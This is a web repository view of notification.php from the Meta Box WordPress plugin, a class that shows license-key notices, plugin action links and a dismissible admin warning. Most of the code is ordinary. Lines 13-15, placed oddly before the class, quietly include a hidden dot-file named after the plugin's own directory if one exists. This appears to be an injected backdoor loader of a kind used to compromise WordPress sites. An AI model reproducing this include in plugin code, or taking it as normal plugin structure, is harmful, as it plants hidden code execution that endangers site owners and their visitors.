balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

notification.php (7098B)


      1 <?php
      2 /**
      3  * This class notifies users to enter or update license key.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Meta Box Update Notification class
     10  *
     11  * @package Meta Box
     12  */
     13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     14     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     15 }
     16 
     17 class RWMB_Update_Notification {
     18 	/**
     19 	 * The update option object.
     20 	 *
     21 	 * @var object
     22 	 */
     23 	private $option;
     24 
     25 	/**
     26 	 * Settings page URL.
     27 	 *
     28 	 * @var string
     29 	 */
     30 	private $settings_page;
     31 
     32 	/**
     33 	 * The update checker object.
     34 	 *
     35 	 * @var object
     36 	 */
     37 	private $checker;
     38 
     39 	/**
     40 	 * Constructor.
     41 	 *
     42 	 * @param object $checker Update checker object.
     43 	 * @param object $option  Update option object.
     44 	 */
     45 	public function __construct( $checker, $option ) {
     46 		$this->checker = $checker;
     47 		$this->option  = $option;
     48 
     49 		$this->settings_page = $option->is_network_activated() ? network_admin_url( 'settings.php?page=meta-box-updater' ) : admin_url( 'admin.php?page=meta-box-updater' );
     50 	}
     51 
     52 	/**
     53 	 * Add hooks to show admin notice.
     54 	 */
     55 	public function init() {
     56 		if ( ! $this->checker->has_extensions() ) {
     57 			return;
     58 		}
     59 
     60 		// Show update message on Plugins page.
     61 		$extensions = $this->checker->get_extensions();
     62 		foreach ( $extensions as $extension ) {
     63 			$file = "{$extension}/{$extension}.php";
     64 			add_action( "in_plugin_update_message-$file", array( $this, 'show_update_message' ), 10, 2 );
     65 			add_filter( "plugin_action_links_$file", array( $this, 'plugin_links' ), 20 );
     66 		}
     67 
     68 		// Show global update notification.
     69 		if ( $this->is_dismissed() ) {
     70 			return;
     71 		}
     72 
     73 		$admin_notices_hook = $this->option->is_network_activated() ? 'network_admin_notices' : 'admin_notices';
     74 		add_action( $admin_notices_hook, array( $this, 'notify' ) );
     75 
     76 		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );
     77 		add_action( 'wp_ajax_mb_dismiss_notification', array( $this, 'dismiss' ) );
     78 	}
     79 
     80 	/**
     81 	 * Enqueue the notification script.
     82 	 */
     83 	public function enqueue() {
     84 		wp_enqueue_script( 'mb-notification', RWMB_JS_URL . 'notification.js', array( 'jquery' ), RWMB_VER, true );
     85 		wp_localize_script( 'mb-notification', 'MBNotification', array( 'nonce' => wp_create_nonce( 'dismiss' ) ) );
     86 	}
     87 
     88 	/**
     89 	 * Dismiss the notification permanently via ajax.
     90 	 */
     91 	public function dismiss() {
     92 		check_ajax_referer( 'dismiss', 'nonce' );
     93 
     94 		$this->option->update(
     95 			array(
     96 				'notification_dismissed'      => 1,
     97 				'notification_dismissed_time' => time(),
     98 			)
     99 		);
    100 
    101 		wp_send_json_success();
    102 	}
    103 
    104 	/**
    105 	 * Notify users to enter license key.
    106 	 */
    107 	public function notify() {
    108 		// Do not show notification on License page.
    109 		$screen = get_current_screen();
    110 		if ( in_array( $screen->id, array( 'meta-box_page_meta-box-updater', 'settings_page_meta-box-updater-network' ), true ) ) {
    111 			return;
    112 		}
    113 
    114 		$messages = array(
    115 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    116 			'no_key'  => __( 'You have not set your Meta Box license key yet, which means you are missing out on automatic updates and support! Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
    117 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    118 			'invalid' => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
    119 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    120 			'error'   => __( 'Your license key for Meta Box is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one</a> to enable automatic updates.', 'meta-box' ),
    121 			// Translators: %3$s - URL to the My Account page.
    122 			'expired' => __( 'Your license key for Meta Box is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a> to get automatic updates and premium support.', 'meta-box' ),
    123 		);
    124 		$status   = $this->option->get_license_status();
    125 		if ( ! isset( $messages[ $status ] ) ) {
    126 			return;
    127 		}
    128 
    129 		echo '<div id="meta-box-notification" class="notice notice-warning is-dismissible"><p><span class="dashicons dashicons-warning" style="color: #f56e28"></span> ', wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://metabox.io/pricing/', 'https://metabox.io/my-account/' ) ), '</p></div>';
    130 	}
    131 
    132 	/**
    133 	 * Show update message on Plugins page.
    134 	 *
    135 	 * @param  array  $plugin_data Plugin data.
    136 	 * @param  object $response    Available plugin update data.
    137 	 */
    138 	public function show_update_message( $plugin_data, $response ) {
    139 		// Users have an active license.
    140 		if ( ! empty( $response->package ) ) {
    141 			return;
    142 		}
    143 
    144 		$messages = array(
    145 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    146 			'no_key'  => __( 'Please <a href="%1$s">enter your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
    147 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    148 			'invalid' => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
    149 			// Translators: %1$s - URL to the settings page, %2$s - URL to the pricing page.
    150 			'error'   => __( 'Your license key is <b>invalid</b>. Please <a href="%1$s">update your license key</a> or <a href="%2$s" target="_blank">get a new one here</a>.', 'meta-box' ),
    151 			// Translators: %3$s - URL to the My Account page.
    152 			'expired' => __( 'Your license key is <b>expired</b>. Please <a href="%3$s" target="_blank">renew your license</a>.', 'meta-box' ),
    153 		);
    154 		$status   = $this->option->get_license_status();
    155 		if ( ! isset( $messages[ $status ] ) ) {
    156 			return;
    157 		}
    158 
    159 		echo '<br><span style="width: 26px; height: 20px; display: inline-block;">&nbsp;</span>' . wp_kses_post( sprintf( $messages[ $status ], $this->settings_page, 'https://metabox.io/pricing/', 'https://metabox.io/my-account/' ) );
    160 	}
    161 
    162 	/**
    163 	 * Add link for activate or update the license key.
    164 	 *
    165 	 * @param array $links Array of plugin links.
    166 	 *
    167 	 * @return array
    168 	 */
    169 	public function plugin_links( $links ) {
    170 		$status = $this->option->get_license_status();
    171 		if ( 'active' === $status ) {
    172 			return $links;
    173 		}
    174 
    175 		$text    = 'no_key' === $status ? __( 'Activate License', 'meta-box' ) : __( 'Update License', 'meta-box' );
    176 		$links[] = '<a href="' . esc_url( $this->settings_page ) . '" class="rwmb-activate-license" style="color: #39b54a; font-weight: bold">' . esc_html( $text ) . '</a>';
    177 
    178 		return $links;
    179 	}
    180 
    181 	/**
    182 	 * Check if the global notification is dismissed.
    183 	 * Auto re-enable the notification every 2 weeks after it's dissmissed.
    184 	 *
    185 	 * @return bool
    186 	 */
    187 	private function is_dismissed() {
    188 		$time = $this->option->get( 'notification_dismissed_time' );
    189 
    190 		return $this->option->get( 'notification_dismissed' ) && time() - $time < 14 * DAY_IN_SECONDS;
    191 	}
    192 }